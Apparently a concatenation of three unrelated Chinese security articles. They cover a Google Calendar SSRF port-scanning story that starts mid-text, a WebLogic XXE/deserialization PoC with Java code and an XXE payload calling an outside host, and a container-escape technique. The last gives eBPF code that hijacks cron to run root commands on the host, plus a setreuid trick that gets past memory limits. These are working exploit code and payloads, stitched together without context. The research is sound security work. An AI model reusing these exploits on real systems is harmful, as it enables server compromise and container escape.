Google服务器可以从远程日历上把事件添加到你自己的日历中。或者也可以说是我们使用了Google服务器的HTTP请求。所以访问外部URL是Google服务器的内部操作。但是我们说不定可以通过这个方法去访问一些内网资源（例如localhost）？或者说我们可以在这里发现一个SSRF漏洞。
## 第一次尝试——貌似安全
第一次测试并没有得到有趣的记过，因为当我们尝试去访问外部URL时，服务器报错了（不可达或错误格式等错误），当我们输入一个内部地址我们得到了同样的错误。ADDRESS:PORT既没有给我们一个真实的端点也没有给一个假的端点。
注意到这里curl就是POST参数（可能是calendar url的缩写），而不是一个curl工具。
## 犹豫不决，那就扫描！
只是为了确信我没有错过什么（可能没有127.0.0.1:443这个端点）。我决定针对localhost上的端口做一个快速的自动化扫描（使用Fiddler的组件发送序列包）。令我惊讶的是，当我使用自动化脚本的时候我发现一些不同的结果。突然，“不存在的”地址端口出现在了结果里。
这个结果告诉我们有些端口可能开着，有些端口可能关着。我调整了我的代理工具然后再Burp
Intruder里跑扫描（payload是端口，不同的结果长度意味着端口可能开着或关着）。这个结果和我想要的一样。
在图中可以看到很明显，80,443,22都开着（从内部服务器访问），其他的测试端口都关着。我快速对内网服务器（guts-remedy-linux-prod03.vm.corp.google.com）进行了一个再次扫描并如我所预料地一样发现22端口开着。
通过这个点我可以确信：
1. 我通过Google服务器发送了内部的HTTP的GET请求，并且我可以做一个自动化脚本；
2. 我可以接收到一些有用的信息（端口是否开着）。
或者换个说法，我在Google日历中发现了一个“盲SSRF”，是时候报告它。
## Google工程师复现发现一个bug
我和Google的团队的交流非常迅速。在验证这些问题时他们发现有点复杂，生成结果的时候所做的自动化扫描的时候不能太快（有限制因素在其中）。但是尽管如此，问题还是被复现了。但是一个新的问题被发现了。
所以Google的团队可以复现这个问题，但是他们因为UI的问题导致收到了不一样的结果。为了验证Google的理论，我创建了一个新的没有使用痕迹的Google日历账号并再次测试（没有UI干扰）。我发现结果和之前的一样。
这个点上Google的团队和我认为的一样并且开了一个新的bug。
## 产品团队发现问题和安全无关
做完这些研究后，Google的产品团队发现这个问题和安全无关。我所找到的打开的端口实际上是因为一个缓存机制没有按预想一样工作导致的。
报告被关闭了我收到了回复。
## 最后的思考
我非常尊重Google的团队，因为他们没有放弃这个，直到他们整理出来（缓存问题BTW已修复 - 同样的错误不再返回）。
不能说我没有失望地发现在旅程结束时，我的SSRF只不过是一个幽灵，但我当然很享受骑行。
我认为对我来说最重要的一点就是不要因最初失败的结果而气馁，因为有时候更深层次的潜水会带你进入复杂而迷人的道路。
这次它导致了一个行为不端的缓存，也许下次会导致一个RCE :) | 社区文章 |
**作者：廖新喜
公众号：<https://mp.weixin.qq.com/s/lU42iaR29n2zI4_v9k1SuA>**
### 背景
按照惯例，Oracle发布了4月份的补丁，详情见链接(<https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html#AppendixFMW>)一看就是一堆漏洞，高危的还好几个。
CVSS 评分为9.8的暂且不分析，我们先来看看wsee模块下的几个XXE漏洞，都是给的7.5的评分。在这些漏洞中要数@Matthias
Kaiser的贡献最大，高危的都是他提交的。
### 简单分析
从补丁对比文件来看，在wsee模块下有5个都加了xxe的防护，那我们就从xxe漏洞入手。有一个新增的文件`WSATStreamHelper.java`,核心代码如下：
package weblogic.wsee.wstx.wsat;
import ...
public class WSATStreamHelper {
public static Source convert(InputStream in) {
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXSource xmlSource = null;
try {
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://xml.org/sax/features/validation", false);
spf.setNamespaceAware(true);
spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
xmlSource = new SAXSource(spf.newSAXParser().getXMLReader(), new InputSource(in));
} catch (Exception var4) {
if (WSATHelper.isDebugEnabled()) {
WSATHelper.getInstance().debug("Failed to call setFeature in SAXParserFactory. ");
}
}
return xmlSource;
}
}
稍微懂点xxe漏洞的人都知道这是xxe的防护代码，这个文件新加到了`ForeignRecoveryContext.java`和`WSATXAResource.java`中，就拿`ForeignRecoveryContext`来入手。其修复后的代码如下：
public void readExternal(ObjectInput in) throws ClassNotFoundException, IOException {
klassVersion = in.readInt();
this.fxid = (Xid)in.readObject();
this.debug("ForeignRecoveryContext.readExternal tid:" + this.fxid);
this.version = (Version)in.readObject();
int len = in.readInt();
byte[] eprBytes = new byte[len];
in.readFully(eprBytes);
this.epr = EndpointReference.readFrom(WSATStreamHelper.convert(new ByteArrayInputStream(eprBytes)));
this.debug("ForeignRecoveryContext.readExternal EndpointReference:" + this.epr);
ForeignRecoveryContextManager.getInstance().add(this);
}
仔细对比下来就是`EndpointReference.readFrom(WSATStreamHelper.convert(new
ByteArrayInputStream(eprBytes)));WSATStreamHelper.convert`是新加的，从前面代码中也可以看到在convert的过程中启用了xxe防护。再一看这个函数还是readExternal，这不就是典型的反序列化漏洞的入口吗？看官看到这就知道payload怎么来了，最典型的就是通过T3协议，如下就是如何构造PoC了。
### PoC构造
构造PoC还是有些弯路的，最典型的就是为什么拿`ForeignRecoveryContext.java`入手，其实看官可以尝试些其他漏洞点，构造的时候会遇到一些问题，有些问题不好一时解决所以就转到`ForeignRecoveryContext.java`。言归正传，详细的构造如下：
public static class MyEndpointReference extends EndpointReference{
public void writeTo(Result result){
byte[] tmpbytes = new byte[4096];
int nRead;
try{
InputStream is = new FileInputStream(new File("test.xml"));
while((nRead=is.read(tmpbytes,0,tmpbytes.length)) != -1){
((StreamResult)result).getOutputStream().write(tmpbytes,0,nRead);
}
}catch (Exception e){
e.printStackTrace();
}
return;
}
}
public static Object getXXEObject(String command) {
int klassVersion = 1032;
Xid xid = new weblogic.transaction.internal.XidImpl();
Version v = Version.DEFAULT;
byte[] tid = new byte[]{65};
weblogic.wsee.wstx.internal.ForeignRecoveryContext frc = new weblogic.wsee.wstx.internal.ForeignRecoveryContext();
try{
Field f = frc.getClass().getDeclaredField("fxid");
f.setAccessible(true);
f.set(frc,xid);
Field f1 = frc.getClass().getDeclaredField("epr");
f1.setAccessible(true);
f1.set(frc,(EndpointReference)new MyEndpointReference());
Field f2 = frc.getClass().getDeclaredField("version");
f2.setAccessible(true);
f2.set(frc,v);
}catch(Exception e){
e.printStackTrace();
}
return frc;
}
test.xml的内容可以是任意的xxe的payload：比如说如下，xxe，测试payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://xxlegend.com/weblogic" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>
关键点都展示完了，秀一下成果。
### 成果
可以看到调用栈如下：
* * * | 社区文章 |
**作者： pass、neargle @腾讯安全平台部
原文链接：<https://mp.weixin.qq.com/s/Psqy3X3VdUPga7f2cnct1g>**
**本次KCon 2021黑客大会中也有关于容器逃逸的议题，详情请查看：
<https://paper.seebug.org/1748/#container-escape-in-2021>**
## 前言
容器安全是一个庞大且牵涉极广的话题，而容器的安全隔离往往是一套纵深防御的体系，牵扯到AppArmor、Namespace、Capabilities、Cgroup、Seccomp等多项内核技术和特性，但安全却是一处薄弱则全盘皆输的局面，一个新的内核特性可能就会让看似无懈可击的防线存在突破口。随着云原生技术的快速发展，越来越多的容器运行时组件在新版本中会默认配置AppArmor策略，原本我们在《红蓝对抗中的云原生漏洞挖掘及利用实录》介绍的多种容器逃逸手法会逐渐失效；因此我们希望能碰撞出一些攻击手法，进而突破新版本容器环境的安全能力，并使用更契合容器集群的新方式把“任意文件写”转化为“远程代码执行”，从而提前布防新战场。
结合腾讯蓝军近几年在云原生安全上的积累以及我们在WHC2021上分享的关于《多租户容器集群权限提升的攻防对抗》的议题，本文将着重探讨内核特性eBPF对容器安全性的挑战和云原生攻防场景下的实践。
## 使用eBPF的容器逃逸技术
### eBPF简介
eBPF作为传统BPF的后继者，自内核3.17版本开始进入Linux内核。它提供了一种无需加载内核模块也能在内核里执行代码的功能，方式是在内核中实现了一个虚拟机，用于执行经过安全检查的字节码。
eBPF可以应用在安全、跟踪、性能分析、网络数据包处理、观测、监控等不同领域。
eBPF可以使用c语法的子集来编写，然后使用LLVM编译出eBPF字节码。
作为一个较新的内核特性，近些年来有许多利用这项新技术来解决一些安全问题的讨论和研究。使用eBPF我们可以使用诸如 `kprobe` 、
`tracepoint`
的跟踪技术，因此在防御的角度，可以用于实现HIDS、各种日志的监控等；而站在攻击者的角度，eBPF可以任意修改用户空间的内存，可以挂钩网络数据，这提供了很好的捷径用于编写
`Rootkit` ，同时作为一个新的内核特性，也给了漏洞挖掘人员一个新攻击面。
本文不过多描述eBPF的核心概念、eBPF程序如何编写，展开讲会失去文章的重点，下面给出几个文章可以帮助读者快速了解eBPF和入门知识：
* What is eBPF[1]
* BPF and XDP Reference Guide[2]
* The art of writing eBPF programs: a primer.[3]
### 新的弱点
Docker使用AppArmor来进一步限制容器，保证隔离的安全，其中有一个让很多逃逸技术失效的限制是禁用了mount(https://github.com/moby/moby/blob/4283e93e6431c5ff6d59aed2104f0942ae40c838/profiles/apparmor/template.go#L44)，换言之，即使攻击者获取了一个
`CAP_SYS_ADMIN` 权限的容器，他也很难用一些和file
system有关的逃逸手法。那有没有什么不需要和各种伪文件系统交互的方法呢？有一些，比如如果有 `CAP_DAC_READ_SEARCH`
权限，那么可以使用系统调用来实现逃逸至宿主机的root file
system。从内核4.17版本开始，可以通过`perf_event_open`来创建`kprobe`和`uprobe`，并且`tracepoint`子系统新增了一个`raw_tracepoint`类型，该类型也是可以通过简单的系统调用来使用，结合eBPF的使用，这就给了攻击者可乘之机。
### 容器逃逸分析
要想使用eBPF，需要一些权限和挂载伪文件系统，下表展示了eBPF kprobe、tracepoint使用的条件：
特性/功能 | 要求
---|---
bpf系统调用 | 拥有CAP_SYS_ADMIN; kernel 5.8开始拥有CAP_SYS_ADMIN或者CAP_BPF
Unprivileged bpf - "socket filter" like |
kernel.unprivileged_bpf_disabled为0或拥有上述权限
perf_event_open系统调用 | 拥有CAP_SYS_ADMIN; kernel
5.8开始拥有CAP_SYS_ADMIN或者CAP_PERFMON
kprobe | 需要使用tracefs; kernel 4.17后可用perf_event_open创建
tracepoint | 需要使用tracefs
raw_tracepoint | kernel 4.17后通过bpf调用BPF_RAW_TRACEPOINT_OPEN即可
eBPF program作为附加在内核特定hook point的应用，在加载eBPF
program时，并不会考虑被hook的进程是处于哪个namespace，又处于哪个cgroup，换句话说即使处在容器内，也依旧可以hook容器外的进程。
Linux kernel为eBPF程序提供了一系列固定的函数，这些函数被称为 `BPF-HELPERS`
，它们为eBPF程序提供了一定程度上的内核功能，可以使用 `man bpf-helpers` 来查看有哪些helper。而不同的eBPF program
type能调用的helper也不同，关于tracing的helper里比较有意思的是下面几个：
* bpf_probe_read：安全地从内核空间读取数据
* bpf_probe_write_user：尝试以一种安全的方式向用户态空间写数据
* bpf_override_return：用于 `error injection` ，可以用于修改kprobe监控的函数返回值
这些helper提供了读写整个机器上任意进程用户态空间的功能，同时提供了内核空间的读取数据功能，当攻击者能向内核加载eBPF程序，那么有许多种办法进行权限提升或者容器逃逸：
* 读取内核空间里的敏感信息，或者hook关键系统调用的返回点，获取其他进程空间里的敏感信息
* 修改其他高权限进程里的数据，注入shellcode或者改变进程关键执行路径执行自己的命令
* 其他更有想象力的方法...
需要注意的是eBPF无法改变进入Syscall时的参数，但是可以改变用户态进程空间里的内存数据。
有了上述思路，shellcode暂且不论，有什么进程或服务是linux各个发行版最常见，并且可以拿来执行命令的呢？对，那就是安全和运维的老朋友 `cron`
了。 `cron`
作为计划任务用的linux最常见服务，可以定时执行任务，甚至可以指定用户，而且由于需要及时更新配置文件，调用相关文件syscall十分频繁，用eBPF来hook再简单不过。
`cron` 其实有许多不同的实现，因此若从蓝军角度来看需要针对不同的cron实现进行分析，这里挑选 `vixie-cron`
(https://github.com/vixie/cron)作为分析对象， `vixie-cron` 是一个较多linux发行版使用的cron实现，像
`debian` 、 `centos` 都是用的这个实现，当然不同发行版也会有一些定制修改，这个在稍后分析中会简单提及。
### vixie-cron分析
`vixie-cron` 的整体逻辑比较简单，它有一个主循环，每次等待一段时间后都会执行任务并加载 `cron`
的一些配置文件，加载相关的配置文件的关键函数 `load_database`
位于https://github.com/vixie/cron/blob/690fc534c7316e2cf6ff16b8e83ba7734b5186d2/database.c#L47。
在正式读取配置之前，它会先获取一些文件和目录的文件信息：
load_database(cron_db *old_db) {
// ...
/* before we start loading any data, do a stat on SPOOL_DIR
* so that if anything changes as of this moment (i.e., before we've
* cached any of the database), we'll see the changes next time.
*/
if (stat(SPOOL_DIR, &statbuf) < OK) {
log_it("CRON", getpid(), "STAT FAILED", SPOOL_DIR);
(void) exit(ERROR_EXIT);
}
// ...
`SPOOL_DIR` 是一个宏，代表了存放crontabs文件的目录，默认为 `tabs`
，但在常见的发行版中对有关路径的宏做了定制，比如下面是debian关于路径的修改：
-#define CRONDIR "/var/cron"
+#define CRONDIR "/var/spool/cron"
#endif
/* SPOOLDIR is where the crontabs live.
@@ -39,7 +39,7 @@
* newer than they were last time around (or which
* didn't exist last time around...)
*/
-#define SPOOL_DIR "tabs"
+#define SPOOL_DIR "crontabs"
因此 `SPOOL_DIR` 代表的就是我们熟悉的 `/var/spool/cron/crontabs` 目录。
然后会获取系统 `crontab` 的信息：
if (stat(SYSCRONTAB, &syscron_stat) < OK) // #define SYSCRONTAB "/etc/crontab"
syscron_stat.st_mtim = ts_zero;
接下来是两个判断，如果判断通过，则进入处理系统 `crontab` 的函数：
if (TEQUAL(old_db->mtim, TMAX(statbuf.st_mtim, syscron_stat.st_mtim))) {
Debug(DLOAD, ("[%ld] spool dir mtime unch, no load needed.\n",
(long)getpid()))
return;
}
// ...
if (!TEQUAL(syscron_stat.st_mtim, ts_zero))
process_crontab("root", NULL, SYSCRONTAB, &syscron_stat,
&new_db, old_db);
这两个判断比较有意思的地方是当老的配置的 `mtime` 和新的文件 `mtime` 不同即可进入处理流程，而新的文件 `mtime` 是
`SPOOL_DIR` 和 `SYSCRONTAB` 中的最大值。
从上述分析可以得出结论，当我们用eBPF程序去attach `stat` syscall返回的时候，如果能够修改返回的`struct
stat`buf里的数据，就可以成功让 `vixie-cron`立刻去处理`/etc/crontab`。
最后在 `process_crontab` 里还有一次判断：
if (fstat(crontab_fd, statbuf) < OK) {
log_it(fname, getpid(), "FSTAT FAILED", tabname);
goto next_crontab;
}
// ...
if (u != NULL) {
/* if crontab has not changed since we last read it
* in, then we can just use our existing entry.
*/
if (TEQUAL(u->mtim, statbuf->st_mtim)) {
Debug(DLOAD, (" [no change, using old data]"))
unlink_user(old_db, u);
link_user(new_db, u);
goto next_crontab;
}
只是这处判断用的是 `fstat` 。
### eBPF program编写
内核提供给用户使用的仅仅是 `bpf` 系统调用，因此有一系列工具来帮助使用者更方便简单地编写和使用eBPF。比较主流的两个前端是 `bcc`
(https://github.com/iovisor/bcc)和 `libbpf`
(https://github.com/libbpf/libbpf)。考虑到部署的方便性，如果使用bcc，它的大量依赖会影响蓝军实战中的可用性，所以本文在编写测试的时候使用的是libbpf，而且libbpf有社区提供的一个“脚手架”：https://github.com/libbpf/libbpf-bootstrap 。使用这个也可以非常方便快捷地开发出自己的eBPF program。
本文修改libbpf-bootstrap中的minimal示例程序来加载自己的eBPF program。接下来就让我们了解一下整个eBPF程序的完整流程。
#define BPF_NO_PRESERVE_ACCESS_INDEX
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
// ...
libbpf-bootstrap自带的 `vmlinux.h` 是通过 `bpftool` 导出的内核数据结构的定义，这个文件主要是用于实现bpf的
`CO-RE` ，即编译一次到处执行，这里只是用到了 `vmlinux.h` 里带的内核数据结构的定义。
`BPF_NO_PRESERVE_ACCESS_INDEX` 实际上是 `vmlinux.h` 里的一个 `BTF`
引用开关，如果没有定义这个宏，那么在eBPF中任意引用了 `vmlinux.h` 中的数据结构定义都会在clang生成的eBPF
object文件里留下记录，这样编译出来的eBPF程序如果在没有嵌入 `BTF`
类型信息的内核上是无法加载的，这里为了保证能稳定加载，所以关闭了clang生成 `BTF` 重定向信息的功能。
本文挑选的是使用 `raw_tracepoint` 来hook系统调用， `raw_tracepoint/sys_enter`
用于将eBPF程序attach到进入系统调用时：
// ...
#define TARGET_NAME "cron"
// ...
SEC("raw_tracepoint/sys_enter")
int raw_tp_sys_enter(struct bpf_raw_tracepoint_args *ctx)
{
unsigned long syscall_id = ctx->args[1];
char comm[TASK_COMM_LEN];
bpf_get_current_comm(&comm, sizeof(comm));
// executable is not cron, return
if (memcmp(comm, TARGET_NAME, sizeof(TARGET_NAME)))
return 0;
switch (syscall_id)
{
case 0:
handle_enter_read(ctx);
break;
case 3: // close
handle_enter_close(ctx);
break;
case 4:
handle_enter_stat(ctx);
break;
case 5:
handle_enter_fstat(ctx);
break;
case 257:
handle_enter_openat(ctx);
break;
default:
return 0;
}
}
这个eBPF程序比较简单，判断进程文件名是否是我们想要的进程文件，这里是 `cron` ，接下来根据系统调用进入不同的逻辑。
不过光hook进入syscall可不够，我们需要在syscall返回时马上修改已经返回至用户态空间的返回数据，比如说 `struct stat`
buf，因此还要再来一个eBPF程序：
SEC("raw_tracepoint/sys_exit")
int raw_tp_sys_exit(struct bpf_raw_tracepoint_args *ctx)
{
if (cron_pid == 0)
return 0;
int pid = bpf_get_current_pid_tgid() & 0xffffffff;
if (pid != cron_pid)
return 0;
unsigned long id;
struct pt_regs *regs = ctx->args[0];
bpf_probe_read_kernel(&id, sizeof(id), ®s->orig_ax);
switch (id)
{
case 0:
handle_read(ctx);
break;
case 4:
handle_stat();
break;
case 5:
handle_fstat();
break;
case 257:
handle_openat(ctx);
break;
default:
return 0;
}
}
这段程序和 `sys_enter` 的程序大致一样，只是从文件名换成了pid的判断，而pid的获取可以从 `sys_enter`
的时候获取到，另外此时已经处于执行完syscall的状态，因此 `AX` 寄存器里并不会存放syscall的id，但是 `pt_regs` 结构有个字段
`orig_ax` 存放了原始的syscall id，从这可以获取到。
在编写具体处理不同系统调用之前，我们需要了解到，eBPF程序是没有全局变量的，在较新版本的clang和内核上为什么可以使用c的全局变量语法呢，其实libbpf在背后会帮我们转换成
`BPF_MAP_TYPE_ARRAY` 类型的map，而eBPF的map是可以在不同eBPF程序间甚至不同进程间共享的。
处理stat系统调用相关代码：
static __inline int handle_enter_stat(struct bpf_raw_tracepoint_args *ctx)
{
struct pt_regs *regs;
const char *pathname;
char buf[64];
regs = (struct pt_regs *)ctx->args[0];
bpf_probe_read(&pathname, sizeof(pathname), ®s->di);
bpf_probe_read_str(buf, sizeof(buf), pathname);
if (memcmp(buf, CRONTAB, sizeof(CRONTAB)) && memcmp(buf, SPOOL_DIR, sizeof(SPOOL_DIR)))
return 0;
if (cron_pid == 0)
{
cron_pid = bpf_get_current_pid_tgid() & 0xffffffff;
}
memcpy(filename_saved, buf, 64);
bpf_probe_read(&statbuf_ptr, sizeof(statbuf_ptr), ®s->si);
return 0;
}
首先判断读取的文件是否为 `/etc/crontab` 或者 `crontabs`
，这些路径是cron用于判断相关配置文件是否被修改了的路径，随后会保存pid、filename、用于接受文件信息的用户态buf指针到全局变量里。
处理stat系统调用返回的代码：
static __inline int handle_stat()
{
if (statbuf_ptr == 0)
return 0;
bpf_printk("cron %d stat %s\n", cron_pid, filename_saved);
// conditions:
// 1. !TEQUAL(old_db->mtim, TMAX(statbuf.st_mtim, syscron_stat.st_mtim))
// 2. !TEQUAL(syscron_stat.st_mtim, ts_zero)
__kernel_ulong_t spool_st_mtime = 0;
__kernel_ulong_t crontab_st_mtime = bpf_get_prandom_u32() % 0xfffff;
if (!memcmp(filename_saved, SPOOL_DIR, sizeof(SPOOL_DIR)))
{
bpf_probe_write_user(&statbuf_ptr->st_mtime, &spool_st_mtime, sizeof(spool_st_mtime));
}
if (!memcmp(filename_saved, CRONTAB, sizeof(CRONTAB)))
{
bpf_probe_write_user(&statbuf_ptr->st_mtime, &crontab_st_mtime, sizeof(crontab_st_mtime));
}
print_stat_result(statbuf_ptr);
statbuf_ptr = 0;
}
在stat返回时，我们需要让上节提到的两个条件均通过，同时为了保证在eBPF程序detach后， `cron` 可以立刻更新为正常的配置，这里将
`SPOOL_DIR` 的 `mtime` 设为0， `CRONTAB` 设为一个随机的较小数值，这样 `cron`
记录的上一次修改时间就会是这个较小的时间，在下一次循环时会马上更新成原来的配置。
修改 `fstat` 返回的代码与 `stat` 大同小异，只是需要我们先hook `openat` 的返回处并保存打开的文件描述符的值：
static __inline void handle_openat(struct bpf_raw_tracepoint_args *ctx)
{
if (!memcmp(openat_filename_saved, CRONTAB, sizeof(CRONTAB)))
{
open_fd = ctx->args[1];
bpf_printk("openat: %s, %d\n", openat_filename_saved, open_fd);
openat_filename_saved[0] = '\0';
}
}
然后当 `fstat` 获取该文件的信息时修改返回值即可。
最后就是在读取文件信息的时候修改处于进程内存里的返回数据，即hook `read` 系统调用返回的时候：
static __inline void handle_read(struct bpf_raw_tracepoint_args *ctx)
{
if (read_buf == 0)
return;
ssize_t ret = ctx->args[1];
if (ret <= 0)
{
read_buf = 0;
return;
}
if (ret < sizeof(PAYLOAD))
{
bpf_printk("PAYLOAD too long\n");
read_buf = 0;
return;
}
bpf_probe_write_user(read_buf, PAYLOAD, sizeof(PAYLOAD));
read_buf = 0;
}
这里的payload就是任意的符合cron语法的规则，例如 `* * * * * root /bin/bash -c 'date > /tmp/pwned'
#` ，由于 `vixie-cron` 命令不支持多行，所以仅需在最后加个注释符 `#` 即可保证后面的命令被注释掉，时间选择每分钟都会触发，由于上面
`stat` 返回的是较小 `mtime` ，停止eBPF程序后也可以马上恢复成原来的cron规则。
编译后在拥有 `CAP_SYS_ADMIN` 权限其他配置默认的root用户容器内运行一下，：
同时运行 `journalctl -f -u cron` 观察一下 `cron` 输出的日志：
命令成功执行：
### RLIMIT限制绕过
Linux kernel为了保证eBPF程序的安全性，在加载的时候添加了许多限制，包括指令长度、不能有循环、tail
call嵌套有上限等等，还有资源上的限制，在kernel 5.11之前，kernel限制eBPF程序的内存占用使用的上限是 `RLIMIT_MEMLOCK`
的值，这个值可能会非常小，比如在docker容器内默认为 `64KB` ，并且内核在计算eBPF程序内存使用量的时候是 `per-user`
模式，并非是每个进程单独计算，而是跟随 `fork` 来计算某个用户使用的总量。容器新启动的时候默认是root用户并且处于 `initial user
namespace` ，而且宿主机的root用户往往会先占用一部分的影响 `memlock`
的内存，这样就会导致eBPF程序在容器内因为rlimit限制无法成功加载。
让我们来简要分析一下内核是如何计算eBPF占用内存的：
// https://elixir.bootlin.com/linux/v5.10.74/source/kernel/bpf/syscall.c#L1631
int __bpf_prog_charge(struct user_struct *user, u32 pages)
{
unsigned long memlock_limit = rlimit(RLIMIT_MEMLOCK) >> PAGE_SHIFT;
unsigned long user_bufs;
if (user) {
user_bufs = atomic_long_add_return(pages, &user->locked_vm);
if (user_bufs > memlock_limit) {
atomic_long_sub(pages, &user->locked_vm);
return -EPERM;
}
}
return 0;
}
void __bpf_prog_uncharge(struct user_struct *user, u32 pages)
{
if (user)
atomic_long_sub(pages, &user->locked_vm);
}
加载和卸载eBPF程序时使用上面两个函数进行内存消费的计算，可以看到，计算占用内存的字段是位于 `user_struct` 的 `locked_vm`
字段，而 `user_struct` 实际上内核代表用户credential结构 `struct cred` 的user字段：
struct cred {
//...
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;
linux在创建新进程时，仅会简单的调用 `copy_creds`
（https://elixir.bootlin.com/linux/v5.10.75/source/kernel/fork.c#L1981）,而
`copy_creds` 会调用 `prepare_creds` ，这个函数仅仅是给原来的 `struct user_struct`
添加了一个引用计数，并没有新分配一个 `user_struct` ，这样就实现了对单个用户的内存占用计算。
static inline struct user_struct *get_uid(struct user_struct *u)
{
refcount_inc(&u->__count);
return u;
}
struct cred *prepare_creds(void)
{
struct task_struct *task = current;
const struct cred *old;
struct cred *new;
// ...
old = task->cred;
memcpy(new, old, sizeof(struct cred));
// ...
get_uid(new->user);
// ...
}
上面说到，eBPF限制内存使用是 `per-user`
的，那么如果我们创建一个不同的user呢？进程的cred如果属于一个新的user，那么就会新建一个新的 `user_struct` ，此时
`locked_vm` 的值就会初始化为0。
由于内核根据uid来保存 `user_struct` ，所以创建的user的uid不能为0，不然就会继续引用原来的root的 `user_struct`
，并且eBPF需要 `CAP_SYS_ADMIN` 权限，我们要让一个普通用户有这个权限有很多种办法：
?设置加载eBPF程序文件的File
Capabilities，创建新用户，切换到新用户执行设置好Cap的文件?在root用户情况下改变setuid，并且设置`SECBIT_KEEP_CAPS`
`securebits`?在root用户情况下仅改变`real uid`
这里介绍第三种办法，因为实现起来是最简单的办法。
我们简要看下 `setreuid` 系统调用在什么情况下会改变 `user_struct` :
// https://elixir.bootlin.com/linux/v5.10.75/source/kernel/sys.c#L502
long __sys_setreuid(uid_t ruid, uid_t euid)
{
// ...
kruid = make_kuid(ns, ruid);
// ...
if (ruid != (uid_t) -1) {
new->uid = kruid;
if (!uid_eq(old->uid, kruid) &&
!uid_eq(old->euid, kruid) &&
!ns_capable_setid(old->user_ns, CAP_SETUID))
goto error;
}
// ...
if (!uid_eq(new->uid, old->uid)) {
retval = set_user(new);
if (retval < 0)
goto error;
}
// ...
}
当设置的ruid不等于之前的ruid就会设置新的 `user_struct` ，而由于没有设置其他的id比如 `euid`
，capabilities也不会被清空，参考capabilities manual：
> If one or more of the real, effective or saved set user IDs was previously
> 0, and as a result of the UID changes all of these IDs have a nonzero value,
> then all capabilities are cleared from the permitted, effective, and ambient
> capability sets.
翻译过来就是当ruid、euid、suid至少有一个为0，这些id都变成非0值时，会将permitted、effective、ambient集清空。
那么c语言的实现就很简单了：
int ret;
if ((ret=setreuid(65535, -1)) != 0)
{
printf("setreuid failed: %d\n", ret);
return 0;
}
在加载eBPF程序之前在用户态代码前加上这些代码就能绕过限制了。
从内核5.11开始，计算eBPF内存占用使用的是 `cgroup` 来计算，一般来说内存限制会变得很宽松，就不会遇到这种问题。
## AFW 到 RCE 新方法
控制服务器程序的配置、脚本等文件的内容进行任意代码执行是渗透和漏洞挖掘中常用的手法，从“任意文件写”提升到“任意代码执行”的利用手段也层出不穷，上述我们针对业界最常用到的计划任务组件
Cron
进行利用，实现了从容器到母机的任意代码执行（逃逸）。如果从上文读到这里，读者也能意识到，在容器场景里“写文件”的方式和方法将更加灵活，也因此，历史上我们常遇到的“crontab明明写进去了，但是shell一直不来”的这类情况也会更加普遍。而且，容器和Kubernetes安全的最佳实践建议我们应该减少节点和容器内的非必要组件，容器节点会尝试不再安装和运行
Cron 进程，最终母机节点里仅运行 kubelet 进程的情况是最理想的。种种现状，促使我们重新分析了 Cron
的现有实现，也开始思考云原生时代任意文件写的利用是否有新的TIPS。
### Cron 的局限性
### 不同的 Cron 实现
最直观的问题就是：在漏洞利用的时候，我们不清楚目标服务器的 Cron 是哪一个实现。除了上述提到的 `vixie-cron`
(https://github.com/vixie/cron)，还有两种 Cron 的实现是非常普遍的：
1.busybox-cron (https://git.busybox.net/busybox/tree/?h=1_34_stable)
2.cronie (https://github.com/cronie-crond/cronie)
不同的 cron 实现对漏洞利用的影响主要在于：
1、配置文件的路径不一致，2、配置文件的格式不一致，3、检查配置文件更新或监控新配置文件的逻辑有不一致的实现，这些都会影响黑盒或部分白盒场景的漏洞利用的稳定性。
我们把 Linux cron 计划任务能执行命令的文件简单分为了四类：
1.`* * * * * username command` 格式，/etc/crontab，/etc/cron.d/ _等路径
2.`* * * * * command` 格式， /var/spool/cron/ 等路径
3.`period-in-days delay-in-minutes job-identifier command` 格式，/etc/anacrontab
等路径
4.可执行脚本文件， /etc/cron.daily/_ ， /etc/cron.hourly/ _， /etc/cron.monthly/_ ，
/etc/cron.weekly/* 等路径
当然，如果是恶意程序，可能会简单粗暴的把所有路径都写一遍；但是如果是授权的红蓝对抗，如果考虑对抗和业务稳定，暴力利用显然是不现实的；更加值得注意的是，大部分情况我们挖掘到的任意文件写在利用时存在局限，例如无法对文件进行内容上的追加、无法设置文件的可执行权限、无法覆盖现有文件等等。
也有即使你暴力写入了所有配置文件， cron却没有进入加载新配置流程的情况，那就要从源码上看一下 cron 对监控新任务的实现，也就是下文我们要说到的
st_mtime。
### 对 st_mtime 的依赖
在我们代码审计的所有 Cron 实现中，无一例外，察觉到文件更新的方式都是对比配置文件路径的
st_mtime。在操作系统层面，文件夹内任何文件编辑、新增、删除、修改等操作，操作系统都会更新 st_mtime。如图：
但是如上文所述中,利用 eBPF 的手法却不会促使操作系统自动更新目录的 st_mtime，所以我们需要编写 eBPF 代码 attach `stat` 的
syscall，促使 Cron 进程误以为 crontab 更新了，进而执行我们新创建的计划任务。而有更多场景无法做到伪造或更新 st_mtime，例如使用
debugfs命令 进行任意文件写利用的场景，这是一个极其危险又充满变数的利用方式，但在容器场景中却不少见，可以参考 rewrite-cgroup-devices[4] 场景和 lxcfs-rw[5] 场景。
诚然， Cron 实践中还有每个小时（60分钟）不检查 st_mtime 强制更新新任务的实现（代码如下图），但包含这个设计的实现目前运用比较广泛的仅有
busybox-cron，会使EXP变得小众且不通用；如果你发现原本已经放弃的命令执行利用，吃个饭后Shell居然过来了，可能就是这个原因。
另外一个不依赖于 st_mtime 更新且最快只有每个小时执行一次的文件是上面提到的第四类文件，目录 /etc/cron.hourly/。因为这类文件使用
run-part 触发，任务已经写入了 cron 之中，run-part 会执行目录下的所有可执行脚本，没有 st_mtime
限制；但这类文件在写入时必须赋予可执行权限，不然 run-part 不会执行漏洞利用写入的脚本。
